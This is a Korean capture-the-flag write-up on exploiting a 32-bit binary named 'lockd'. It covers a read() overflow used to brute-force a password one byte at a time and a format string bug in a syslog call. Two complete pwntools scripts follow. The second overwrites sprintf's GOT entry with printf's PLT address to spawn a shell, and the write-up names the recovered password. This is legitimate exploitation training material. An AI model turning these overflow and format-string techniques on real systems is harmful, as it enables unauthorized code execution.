문제
lockd 바이너리의 checksec 결과는 다음과 같다.
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
file 명령어 결과는 다음과 같다.
lockd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=784b63a128e6fe76512ae058e30be767450c8e7a, stripped
바이너리 코드
sub_8048A7D()
int sub_8048A7D()
{
...
v7 = __readgsdword(0x14u);
stream = fopen("password", "rb");
fread(&ptr, 1u, 0x10u, stream);
fclose(stream);
dword_804A0A4 = *(_DWORD *)&ptr;
dword_804A0A8 = v4;
dword_804A0AC = v5;
dword_804A0B0 = v6;
printf("Input master key > ");
read(0, &buf, 0x28u);
return memcmp(&ptr, &buf, 0x10u);
}
__sub_8048A7D()__의 read 함수에서 buffer overflow 취약점이 존재한다. 그리고 bof를 통해서 ptr 영역에 overwrite함으로써 password를 알 수 있다. 방법은 다음과 같다.
(X는 내가 넣은 특정한 문자를 의미하고 ?는 0x00에서 0xff 사이의 임의의 값을 의미한다. 그리고 Y는 fread를 통해 ptr에 읽어온 password의 값이다.)
- read함수를 통해서 buf의 앞 16바이트에 XXXX XXXX XXXX XXX?를 쓰고 bof를 통해서 ptr을 XXXX XXXX XXXX XXXY와 같이 구성한다. ?에 0x00부터 0xff까지 넣어보면서 memcmp의 return 값이 0일 때를 찾는다. 이를 통해서 Y 값을 알 수 있다.
- 동일한 방식으로 buf의 앞 16바이트에 XXXX XXXX XXXX XX?Y를 쓰고 ptr을 XXXX XXXX XXXX XXYY와 같이 구성하면 뒤에서 두 번째에 있는 Y값을 알아낼 수 있다.
- 이 방식을 반복함으로써 password를 알 수 있다.
sub_804897A()
signed int sub_804897A()
{
printf("Input master key > ");
read(0, fmt, 0x14u);
if ( memcmp(&dword_804A0A4, fmt, 0x10u) )
return -1;
sprintf(fmt, "./lock UNLOCK %d %d", dword_804A4C0, dword_804A0A0);
system(fmt);
printf("Your name > ");
read(0, &unk_804A2C0, 0x190u);
sprintf(fmt, "UNLOCK %d-%d by %s", dword_804A4C0, dword_804A0A0, &unk_804A2C0);
syslog(0xD, fmt);
return 0;
}
void syslog(int priority, const char *format, ...);
syslog 함수는 두 번쨰 인자로 const char *format을 받는다. 그런데 sub_804897A(), sub_8048877() 에서 syslog 함수를 syslog(0xD, fmt);
와 같이 사용하기 때문에 fsb 취약점이 존재한다.
exploit 방법
- __sub_8048A7D()__에 존재하는 취약점을 이용해서 password를 알아낸다. (이를 통해서 __sub_804897A()__의 if문을 통과할 수 있다.)
- fsb를 이용해서 __sub_804897A()__의 sfp에 sprintf의 got값을 넣는다. (앞의 read에서 fmt에 20바이트를 넣기 때문에 password 뒤에 ““\x0a”*2 + “sh” (뒤에 null 존재)을 넣고 바로 system을 호출하면 쉘을 딸 수 있다. 그런데 sprintf에서 17바이트를 출력한 후에 \x00을 넣어버려서
system("sh")
가 호출되지 않는다. “\x0a”+”sh” 앞에 null이 들어가는 것을 막기 위해서 sprintf 대신 printf를 호출하게 하려고 한다.) - fsb를 이용해서 sprintf_got에 printf_plt 주소를 덮어쓴다.
- fmt를 password + “\x0a” + “sh” + “\x00” 으로 구성하면 system(fmt)에서 쉘을 딸 수 있다.
풀이
leak_pw.py
#!/usr/bin/python
from pwn import *
file_path="/home/lockd/lockd"
def sd_key(p,key):
p.recvuntil("floor > ")
p.sendline("1")
p.recvuntil("number > ")
p.sendline("1")
p.recvuntil("key > ")
p.send(key)
p.recv()
p.close()
masterkey="A"*16
masterkey=list(masterkey)
for i in range(16):
for j in range(0x100):
dummy="A"*4
key="A"*(15-i)
masterkey[15-i]=p32(j)[0]
try:
p=process(file_path)
sd_key(p,''.join(masterkey)+dummy+key)
except:
p.close()
else:
break
print ''.join(masterkey)
exploit.py
#!/usr/bin/python
from pwn import *
def sel_2(pay):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("key > ")
p.send(password+"\x0a"+"sh"+"\x00")
p.recvuntil("name > ")
p.send(pay)
password="c39f30e348c07297"
file_path="/home/lockd/lockd"
p=process(file_path)
p.recvuntil("floor > ")
p.sendline("1")
p.recvuntil("number > ")
p.sendline("1")
p.recvuntil("key > ")
p.send(password)
sprintf_got=0x804a03c
printf_plt=0x8048570
name="%"+str(sprintf_got-14)+"d"+"%9$n"
sel_2(name)
name2="%"+str(printf_plt-14)+"d"+"%21$n"
sel_2(name2)
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("key > ")
p.send(password+"\x0a"+"sh"+"\x00")
p.interactive()
알게 된 것
-
gdb에서 디버깅 하다가 자식 프로세스 생기면 (여기서는 syslog에 의해서 생김) 동작이 멈춰버리니까 set follow-fork parent (child)를 꼭 해주자.
-
int printf ( const char * format, ... );
나void syslog(int priority, const char *format, ...);
처럼 인자로 format 지정 문자열이 존재할 때printf(fsb);
,syslog(13,fsb);
와 같이 구성하면 format string bug가 존재한다. (format 지정 문자열 뒤에 인자가 없는 경우, or 서식 문자보다 뒤에 있는 인자의 수가 적은 ) void syslog(int priority, const char * format);
- syslog 함수는 syslogd 데몬에게 메세지를 전송한다. (시스템에서 로그 메세지를 처리하기 위해서 제공하는 표준 인터페이스)
- syslogd 데몬은 받은 메세지를 /etc/syslog.conf에 설정된 규칙에 따라서 파일에 기록, 화면에 출력, 또는 다른 호스트에 있는 또다른 syslogd 데몬에게 포워딩한다.
- priority는 priority (메세지의 우선순위)와 facility (메세지를 발생시킨 프로그램의 종류 대한 flag)의 OR 연산을 통해 만들어짐
- (password를 알아내는 방법과 같은) 다양한 방법을 생각 해보자???